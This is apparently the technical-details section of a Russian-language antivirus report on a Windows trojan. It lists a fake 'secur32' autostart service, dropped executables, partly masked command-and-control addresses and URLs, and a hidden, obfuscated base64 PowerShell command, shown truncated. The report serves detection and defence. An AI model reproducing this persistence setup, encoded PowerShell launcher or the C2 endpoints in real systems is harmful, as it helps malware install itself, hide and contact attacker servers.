Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\secur32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\secur32] 'ImagePath' = '"%WINDIR%\SysWOW64\setupcln\secur32.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9AC...
- %HOMEPATH%\849.exe
- %WINDIR%\syswow64\setupcln\secur32.exe
- %HOMEPATH%\849.exe в %WINDIR%\syswow64\setupcln\secur32.exe
- '14#.#05.151.124':443
- http://nw##vcs.com/cgi-bin/uz6_qs8_qr/
- http://14#.##5.151.124:443/lkSjmuy1ni95B/ZMke8SSIJw5/HuhGaE1Nll3Ab1/GsgaxxvlTnisStCw4/p44vNqAAMhWjWHX6/EiaMrKvObag5FMa/ via 14#.#05.151.124
- DNS ASK nw##vcs.com
- '%HOMEPATH%\849.exe'
- '%WINDIR%\syswow64\setupcln\secur32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9AC...' (со скрытым окном)